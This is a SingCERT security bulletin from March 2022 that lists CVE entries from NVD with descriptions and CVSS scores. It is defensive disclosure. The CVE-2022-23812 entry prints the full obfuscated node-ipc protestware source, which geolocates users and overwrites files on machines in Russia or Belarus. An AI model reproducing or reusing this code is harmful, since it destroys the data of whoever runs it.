SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 23 March 2022

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Refer
CVE-2021-43958	Various rest resources in Fisheye and Crucible before version 4.8.9 allowed remote attackers to brute force user login credentials as rest resources did not check if users were beyond their max failed login limits and therefore required solving a CAPTCHA in addition to providing user credentials for authentication via a improper restriction of excess authentication attempts vulnerability.	9.8	More Detail
CVE-2022-25438	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the SetIPTVCfg function.	9.8	More Detail
CVE-2022-26265	Contao Managed Edition v1.5.0 was discovered to contain a remote command execution (RCE) vulnerability via the component php_cli parameter.	9.8	More Detail
CVE-2022-25578	taocms v3.0.2 allows attackers to execute code injection via arbitrarily editing the .htaccess file.	9.8	More Detail
CVE-2022-25390	DCN Firewall DCME-520 was discovered to contain a remote command execution (RCE) vulnerability via the host parameter in the file /system/tool/ping.php.	9.8	More Detail
CVE-2022-27250	The UNISOC chipset through 2022-03-15 allows attackers to obtain remote control of a mobile phone, e.g., to obtain sensitive information from text messages or the device's screen, record video of the device's physical environment, or modify data.	9.8	More Detail
CVE-2022-25461	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the startip parameter in the SetPptpServerCfg function.	9.8	More Detail
CVE-2022-25460	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the endip parameter in the SetPptpServerCfg function.	9.8	More Detail
CVE-2022-25459	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the S1 parameter in the SetSysTimeCfg function.	9.8	More Detail
CVE-2022-25458	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the cmdinput parameter in the exeCommand function.	9.8	More Detail
CVE-2022-25457	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function.	9.8	More Detail
CVE-2022-25456	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the security_5g parameter in the WifiBasicSet function.	9.8	More Detail

CVE Number	Description	Base Score	Refer
CVE-2022-25455	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function.	9.8	More Detail
CVE-2022-25454	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the loginpwd parameter in the SetFirewallCfg function.	9.8	More Detail
CVE-2022-25453	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the saveParentControlInfo function.	9.8	More Detail
CVE-2022-25452	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the URLs parameter in the saveParentControlInfo function.	9.8	More Detail
CVE-2022-25451	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the setstaticroutecfg function.	9.8	More Detail
CVE-2022-25450	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetVirtualServerCfg function.	9.8	More Detail
CVE-2022-25449	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the deviceId parameter in the saveParentControlInfo function.	9.8	More Detail
CVE-2022-25448	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the day parameter in the openSchedWifi function.	9.8	More Detail
CVE-2022-25447	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedendtime parameter in the openSchedWifi function.	9.8	More Detail
CVE-2022-25446	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedstarttime parameter in the openSchedWifi function.	9.8	More Detail
CVE-2022-25445	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the PowerSaveSet function.	9.8	More Detail
CVE-2022-25441	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the vlanid parameter in the SetIPTVCfg function.	9.8	More Detail
CVE-2022-25440	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function.	9.8	More Detail
CVE-2022-24126	A buffer overflow in the NRSessionSearchResult parser in Bandai Namco FromSoftware Dark Souls III through 2022-03-19 allows remote attackers to execute arbitrary code via matchmaking servers, a different vulnerability than CVE-2021-34170.	9.8	More Detail
CVE-2021-39383	DWSurvey v3.2.0 was discovered to contain a remote command execution (RCE) vulnerability via the component /sysuser/SysPropertyAction.java.	9.8	More Detail
CVE-2021-39384	DWSurvey v3.2.0 was discovered to contain an arbitrary file write vulnerability via the component /utils/ToHtmlServlet.java.	9.8	More Detail
CVE-2022-26284	Simple Client Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the manage_client endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests.	9.8	More Detail
CVE-2022-26188	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via /setting/NTPSyncWithHost.	9.8	More Detail
CVE-2022-26187	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the pingCheck function.	9.8	More Detail

CVE Number	Description	Base Score	Refer
CVE-2022-26186	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the exportOvpn interface at cstecgi.cgi.	9.8	More Detail
CVE-2022-26260	Simple-Plist v1.3.0 was discovered to contain a prototype pollution vulnerability via .parse().	9.8	More Detail
CVE-2022-25517	MyBatis plus v3.4.3 was discovered to contain a SQL injection vulnerability via the Column parameter in /core/conditions/AbstractWrapper.java. NOTE: the vendor's position is that the reported execution of a SQL statement was intended behavior.	9.8	More Detail
CVE-2022-27228	In the vote (aka "Polls, Votes") module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code.	9.8	More Detail
CVE-2021-41736	Faust v2.35.0 was discovered to contain a heap-buffer overflow in the function realPropagate() at propagate.cpp.	9.8	More Detail
CVE-2021-43650	WebRun 3.6.0.42 is vulnerable to SQL Injection via the P_0 parameter used to set the username during the login process.	9.8	More Detail
CVE-2021-45809	GlobalProtect-openconnect versions prior to 1.4.3 are affected by incorrect access control in GPService through DBUS, GUI Application. The way GlobalProtect-Openconnect is set up enables arbitrary users to execute commands as root by submitting the `--script=<script>` parameter.	9.8	More Detail
CVE-2022-26285	Simple Subscription Website v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the apply endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests.	9.8	More Detail
CVE-2022-26283	Simple Subscription Website v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the view_plan endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests.	9.8	More Detail
CVE-2022-25505	Taocms v3.0.2 was discovered to contain a SQL injection vulnerability via the id parameter in \include\Model\Category.php.	9.8	More Detail
CVE-2022-26184	Poetry v1.1.9 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute Poetry commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS.	9.8	More Detail
CVE-2022-26174	A remote code execution (RCE) vulnerability in Beekeeper Studio v3.2.0 allows attackers to execute arbitrary code via a crafted payload injected into the display fields.	9.8	More Detail
CVE-2022-26148	An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.	9.8	More Detail
CVE-2022-24766	mitmproxy is an interactive, SSL/TLS-capable intercepting proxy. In mitmproxy 7.0.4 and below, a malicious client or server is able to perform HTTP request smuggling attacks through mitmproxy. This means that a malicious client/server could smuggle a request/response through mitmproxy as part of another request/response's HTTP message body. While mitmproxy would only see one request, the target server would see multiple requests. A smuggled request is still captured as part of another request's body, but it does not appear in the request list and does not go through the usual mitmproxy event hooks, where users may have implemented custom access control checks or input sanitization. Unless mitmproxy is used to protect an HTTP/1 service, no action is required. The vulnerability has been fixed in mitmproxy 8.0.0 and above. There are currently no known workarounds.	9.8	More Detail
CVE-2022-0760	The Simple Link Directory WordPress plugin before 7.7.2 does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection	9.8	More Detail
CVE-2022-0747	The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection	9.8	More Detail
CVE-2022-0739	The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection	9.8	More Detail
CVE-2022-0694	The Advanced Booking Calendar WordPress plugin before 1.7.0 does not validate and escape the calendar parameter before using it in a SQL statement via the abc_booking_getSingleCalendar AJAX action (available to both unauthenticated and authenticated users), leading to an unauthenticated SQL injection	9.8	More Detail
CVE-2021-45877	Multiple versions of GARO Wallbox GLB/GTB/GTC are affected by hard coded credentials. A hardcoded credential exist in /etc/tomcat8/tomcat-user.xml, which allows attackers to gain authorized access and control the tomcat completely on port 8000 in the tomcat manger page.	9.8	More Detail

CVE Number	Description	Base Score	Refer
CVE-2021-45876	Multiple versions of GARO Wallbox GLB/GTB/GTC are affected by unauthenticated command injection. The url parameter of the function module downloadAndUpdate is vulnerable to an command Injection. Unfiltered user input is used to generate code which then gets executed when downloading new firmware.	9.8	More Details
CVE-2021-45786	In maccms v10, an attacker can log in through /index.php/user/login in the "col" and "openid" parameters to gain privileges.	9.8	More Details
CVE-2022-25439	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function.	9.8	More Details
CVE-2022-25437	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetVirtualServerCfg function.	9.8	More Details
CVE-2022-23812	This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };	9.8	More Details
CVE-2021-45040	The Spatie media-library-pro library through 1.17.10 and 2.x through 2.1.6 for Laravel allows remote attackers to upload executable files via the uploads route.	9.8	More Details
CVE-2021-44906	Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).	9.8	More Details
CVE-2020-15591	fexsrv in F*EX (aka Frams' Fast File EXchange) before fex-20160919_2 allows eval injection (for unauthenticated remote code execution).	9.8	More Details
CVE-2021-44259	A vulnerability is in the 'wx.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When an unauthorized user accesses this page directly, it connects to this device as a friend of the device owner.	9.8	More Details
CVE-2022-0748	The package post-loader from 0.0.0 are vulnerable to Arbitrary Code Execution which uses a markdown parser in an unsafe way so that any javascript code inside the markdown input files gets evaluated and executed.	9.8	More Details
CVE-2021-44908	SailsJS Sails.js <=1.4.0 is vulnerable to Prototype Pollution via controller/load-action-modules.js, function loadActionModules().	9.8	More Details
CVE-2022-1000	Path Traversal in GitHub repository prasathmani/tinyfilemanager prior to 2.4.7.	9.8	More Details
CVE-2022-24074	Whale Bridge, a default extension in Whale browser before 3.12.129.18, allowed to receive any SendMessage request from the content script itself that could lead to controlling Whale Bridge if the rendering process compromises.	9.8	More Details
CVE-2022-22273	Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions	9.8	More Details
CVE-2022-26293	Online Project Time Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the function save_employee at /ptms/classes/Users.php.	9.8	More Details

CVE Number	Description	Base Score	Refer
CVE-2022-25251	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain XML messages to a specific port without proper authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to read and modify the affected product's configuration.	9.8	More Detail
CVE-2021-44087	A Remote Code Execution (RCE) vulnerability exists in Sourcecodester Attendance and Payroll System v1.0 which allows an unauthenticated remote attacker to upload a maliciously crafted PHP via photo upload.	9.8	More Detail
CVE-2022-25247	Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain commands to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to obtain full file-system access and remote code execution.	9.8	More Detail
CVE-2022-25246	Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) uses hard-coded credentials for its UltraVNC installation. Successful exploitation of this vulnerability could allow a remote authenticated attacker to take full remote control of the host operating system.	9.8	More Detail
CVE-2022-0982	The telnet_input_char function in opt/src/accel-pppd/cli/telnet.c suffers from a memory corruption vulnerability, whereby user input cmdline_len is copied into a fixed buffer b->buf without any bound checks. If the server connects with a malicious client, crafted client requests can remotely trigger this vulnerability.	9.8	More Detail
CVE-2021-39737	Product: AndroidVersions: Android kernelAndroid ID: A-208229524References: N/A	9.8	More Detail
CVE-2021-39723	Product: AndroidVersions: Android kernelAndroid ID: A-209014813References: N/A	9.8	More Detail
CVE-2021-39720	Product: AndroidVersions: Android kernelAndroid ID: A-207433926References: N/A	9.8	More Detail
CVE-2021-39710	Product: AndroidVersions: Android kernelAndroid ID: A-202160245References: N/A	9.8	More Detail
CVE-2021-39708	In gatt_process_notification of gatt_cl.cc, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-206128341	9.8	More Detail
CVE-2021-23165	A flaw was found in htmldoc before v1.9.12. Heap buffer overflow in pspdf_prepare_outpages(), in ps-pdf.cxx may lead to execute arbitrary code and denial of service.	9.8	More Detail
CVE-2021-23158	A flaw was found in htmldoc in v1.9.12. Double-free in function pspdf_export(),in ps-pdf.cxx may result in a write-what-where condition, allowing an attacker to execute arbitrary code and denial of service.	9.8	More Detail
CVE-2022-25435	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetStaticRoutecfg function.	9.8	More Detail
CVE-2022-26501	Veeam Backup & Replication 10.x and 11.x has Incorrect Access Control (issue 1 of 2).	9.8	More Detail
CVE-2021-44088	An SQL Injection vulnerability exists in Sourcecodester Attendance and Payroll System v1.0 which allows a remote attacker to bypass authentication via unsanitized login parameters.	9.8	More Detail
CVE-2021-45966	An issue was discovered in Pascom Cloud Phone System before 7.20.x. In the management REST API, /services/apply in exd.pl allows remote attackers to execute arbitrary code via shell metacharacters.	9.8	More Detail
CVE-2022-25434	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the firewallen parameter in the SetFirewallCfg function.	9.8	More Detail
CVE-2022-25433	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the urls parameter in the saveparentcontrolinfo function.	9.8	More Detail
CVE-2022-25431	Tenda AC9 v15.03.2.21 was discovered to contain multiple stack overflows via the NPTR, V12, V10 and V11 parameter in the Formsetqosband function.	9.8	More Detail

CVE Number	Description	Base Score	Refer
CVE-2022-25429	Tenda AC9 v15.03.2.21 was discovered to contain a buffer overflow via the time parameter in the saveparentcontrolinfo function.	9.8	More Detail
CVE-2022-25428	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the deviceId parameter in the saveparentcontrolinfo function.	9.8	More Detail
CVE-2022-25427	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the schedendtime parameter in the openSchedWifi function.	9.8	More Detail
CVE-2022-22642	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt.	9.8	More Detail
CVE-2022-22641	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges.	9.8	More Detail
CVE-2022-22635	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to gain elevated privileges.	9.8	More Detail
CVE-2022-22632	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges.	9.8	More Detail
CVE-2022-22587	A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, macOS Big Sur 11.6.3, macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited..	9.8	More Detail
CVE-2022-22586	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges.	9.8	More Detail
CVE-2022-0547	OpenVPN 2.1 until v2.4.12 and v2.5.6 may enable authentication bypass in external authentication plug-ins when more than one of them makes use of deferred authentication replies, which allows an external user to be granted access with only partially correct credentials.	9.8	More Detail
CVE-2020-25197	A code injection vulnerability exists in one of the webpages in GE Reason RT430, RT431 & RT434 GNSS clocks in firmware versions prior to version 08A06 that could allow an authenticated remote attacker to execute arbitrary code on the system.	9.8	More Detail
CVE-2022-24637	Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.	9.8	More Detail
CVE-2022-24595	Automotive Grade Linux Kooky Koi 11.0.0, 11.0.1, 11.0.2, 11.0.3, 11.0.4, and 11.0.5 is affected by Incorrect Access Control in usr/bin/afb-daemon. To exploit the vulnerability, an attacker should send a well-crafted HTTP (or WebSocket) request to the socket listened by the afb-daemon process. No credentials nor user interactions are required.	9.8	More Detail
CVE-2021-45835	The Online Admission System 1.0 allows an unauthenticated attacker to upload or transfer files of dangerous types to the application through documents.php, which may be used to execute malicious code or lead to code execution.	9.8	More Detail
CVE-2021-45834	An attacker can upload or transfer files of dangerous types to the OpenDocMan 1.4.4 portal via add.php using MIME-bypass, which may be automatically processed within the product's environment or lead to arbitrary code execution.	9.8	More Detail
CVE-2022-27240	scheme/webauthn.c in Glewlwyd SSO server 2.x before 2.6.2 has a buffer overflow associated with a webauthn assertion.	9.8	More Detail
CVE-2021-45967	An issue was discovered in Pascom Cloud Phone System before 7.20.x. A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.	9.8	More Detail
CVE-2022-26189	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the langType parameter in the login interface.	9.8	More Detail

CVE Number	Description	Base Score	Refer
CVE-2022-23610	wire-server provides back end services for Wire, an open source messenger. In versions of wire-server prior to the 2022-01-27 release, it was possible to craft DSA Signatures to bypass SAML SSO and impersonate any Wire user with SAML credentials. In teams with SAML, but without SCIM, it was possible to create new accounts with fake SAML credentials. Under certain conditions that can be established by an attacker, an upstream library for parsing, rendering, signing, and validating SAML XML data was accepting public keys as trusted that were provided by the attacker in the signature. As a consequence, the attacker could login as any user in any Wire team with SAML SSO enabled. If SCIM was not enabled, the attacker could also create new users with new SAML NameIDs. In order to exploit this vulnerability, the attacker needs to know the SSO login code (distributed to all team members with SAML credentials and visible in the Team Management app), the SAML EntityID identifying the IdP (a URL not considered sensitive, but usually hard to guess, also visible in Team Management), and the SAML NameID of the user (usually an email address or a nick). The issue has been fixed in wire-server `2022-01-27` and is already deployed on all Wire managed services. On premise instances of wire-server need to be updated to `2022-01-27`, so that their backends are no longer affected. There are currently no known workarounds. More detailed information about how to reproduce the vulnerability and mitigation strategies is available in the GitHub Security Advisory.	9.1	More Details
CVE-2020-25176	Some commands used by the Rockwell Automation ISaGRAF Runtime Versions 4.x and 5.x eXchange Layer (IXL) protocol perform various file operations in the file system. Since the parameter pointing to the file name is not checked for reserved characters, it is possible for a remote, unauthenticated attacker to traverse an application's directory, which could lead to remote code execution.	9.1	More Details
CVE-2022-0742	Memory leak in icmp6 implementation in Linux Kernel 5.13+ allows a remote attacker to DoS a host by making it go out-of-memory via icmp6 packets of type 130 or 131. We recommend upgrading past commit 2d3916f3189172d5c69d33065c3c21119fe539fc.	9.1	More Details
CVE-2022-0591	The FormCraft WordPress plugin before 3.8.28 does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by unauthenticated users	9.1	More Details
CVE-2022-26960	connector.minimal.php in std42 elFinder through 2.1.60 is affected by path traversal. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.	9.1	More Details
CVE-2021-45878	Multiple versions of GARO Wallbox GLB/GTB/GTC are affected by incorrect access control. Lack of access control on the web manger pages allows any user to view and modify information.	9.1	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2022-22394	The IBM Spectrum Protect 8.1.14.000 server could allow a remote attacker to bypass security restrictions, caused by improper enforcement of access controls. By signing in, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrator or node access to the vulnerable server.	8.8	More Details
CVE-2022-27223	In drivers/usb/gadget/udc/udc-xilinx.c in the Linux kernel before 5.16.12, the endpoint index is not validated and might be manipulated by the host for out-of-array access.	8.8	More Details
CVE-2021-40662	A Cross-Site Request Forgery (CSRF) in Chamilo LMS 1.11.14 allows attackers to execute arbitrary commands on victim hosts via user interaction with a crafted URL.	8.8	More Details
CVE-2022-26266	Piwigo v12.2.0 was discovered to contain a SQL injection vulnerability via pwg.users.php.	8.8	More Details
CVE-2022-24770	`gradio` is an open source framework for building interactive machine learning models and demos. Prior to version 2.8.11, `gradio` suffers from Improper Neutralization of Formula Elements in a CSV File. The `gradio` library has a flagging functionality which saves input/output data into a CSV file on the developer's computer. This can allow a user to save arbitrary text into the CSV file, such as commands. If a program like MS Excel opens such a file, then it automatically runs these commands, which could lead to arbitrary commands running on the user's computer. The problem has been patched as of `2.8.11`, which escapes the saved csv with single quotes. As a workaround, avoid opening csv files generated by `gradio` with Excel or similar spreadsheet programs.	8.8	More Details
CVE-2022-26500	Improper limitation of path names in Veeam Backup & Replication 9.5U3, 9.5U4,10.x, and 11.x allows remote authenticated users access to internal API functions that allows attackers to upload and execute arbitrary code.	8.8	More Details
CVE-2022-26183	PNPM v6.15.1 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute PNPM commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS.	8.8	More Details
CVE-2022-26504	Improper authentication in Veeam Backup & Replication 9.5U3, 9.5U4,10.x and 11.x component used for Microsoft System Center Virtual Machine Manager (SCVMM) allows attackers execute arbitrary code via Veeam.Backup.PSManager.exe	8.8	More Details
CVE-2022-22590	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution.	8.8	More Details
CVE-2022-27245	An issue was discovered in MISP before 2.4.156. app/Model/Server.php does not restrict generateServerSettings to the CLI. This could lead to SSRF.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-45791	Slims8 Akasia 8.3.1 is affected by SQL injection in /admin/modules/bibliography/index.php, /admin/modules/membership/member_type.php, /admin/modules/system/user_group.php, and /admin/modules/membership/index.php through the dir parameter. It can be used by remotely authenticated librarian users.	8.8	More Details
CVE-2020-24772	In Dreamacro Clash for Windows v0.11.4, an attacker could embed a malicious iframe in a website with a crafted URL that would launch the Clash Windows client and force it to open a remote SMB share. Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).	8.8	More Details
CVE-2020-25721	Kerberos acceptors need easy access to stable AD identifiers (eg objectSid). Samba as an AD DC now provides a way for Linux applications to obtain a reliable SID (and samAccountName) in issued tickets.	8.8	More Details
CVE-2022-0386	A post-auth SQL injection vulnerability in the Mail Manager potentially allows an authenticated attacker to execute code in Sophos UTM before version 9.710.	8.8	More Details
CVE-2022-27226	A CSRF issue in /api/crontab on iRZ Mobile Routers through 2022-03-16 allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to remote code execution, allowing the threat actor to gain filesystem access. In addition, if the router's default credentials aren't rotated or a threat actor discovers valid credentials, remote code execution can be achieved without user interaction.	8.8	More Details
CVE-2022-24125	The matchmaking servers of Bandai Namco FromSoftware Dark Souls III through 2022-03-19 allow remote attackers to send arbitrary push requests to clients via a RequestSendMessageToPlayers request. For example, ability to send a push message to hundreds of thousands of machines is only restricted on the client side, and can thus be bypassed with a modified client.	8.8	More Details
CVE-2022-23349	BigAnt Software BigAnt Server v5.6.06 was discovered to contain a Cross-Site Request Forgery (CSRF).	8.8	More Details
CVE-2022-0811	A flaw was found in CRI-O in the way it set kernel options for a pod. This issue allows anyone with rights to deploy a pod on a Kubernetes cluster that uses the CRI-O runtime to achieve a container escape and arbitrary code execution as root on the cluster node, where the malicious pod was deployed.	8.8	More Details
CVE-2022-23346	BigAnt Software BigAnt Server v5.6.06 was discovered to contain incorrect access control issues.	8.8	More Details
CVE-2021-45821	A blind SQL injection vulnerability exists in Xbtit 3.1 via the sid parameter in ajaxchat/getHistoryChatData.php file that is accessible by a registered user. As a result, a malicious user can extract sensitive data such as usernames and passwords and in some cases use this vulnerability in order to get a remote code execution on the remote web server.	8.8	More Details
CVE-2022-22620	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..	8.8	More Details
CVE-2022-0687	The Amelia WordPress plugin before 1.0.47 stores image blobs into actual files whose extension is controlled by the user, which may lead to PHP backdoors being uploaded onto the site. This vulnerability can be exploited by logged-in users with the custom "Amelia Manager" role.	8.8	More Details
CVE-2022-0415	Remote Command Execution in uploading repository file in GitHub repository gogs/gogs prior to 0.12.6.	8.8	More Details
CVE-2022-25766	The package ungit before 1.5.20 are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.	8.8	More Details
CVE-2022-24237	The snaptPowered2 component of Snapt Aria v12.8 was discovered to contain a command injection vulnerability. This vulnerability allows authenticated attackers to execute arbitrary commands.	8.8	More Details
CVE-2022-24235	A Cross-Site Request Forgery (CSRF) in the management portal of Snapt Aria v12.8 allows attackers to escalate privileges and execute arbitrary code via unspecified vectors.	8.8	More Details
CVE-2022-25354	The package set-in before 2.0.3 are vulnerable to Prototype Pollution via the setIn method, as it allows an attacker to merge object prototypes into it. **Note:** This vulnerability derives from an incomplete fix of [CVE-2020-28273] (https://security.snyk.io/vuln/SNYK-JS-SETIN-1048049)	8.6	More Details
CVE-2022-25602	Nonce token leak vulnerability leading to arbitrary file upload, theme deletion, plugin settings change discovered in Responsive Menu WordPress plugin (versions <= 4.1.7).	8.3	More Details
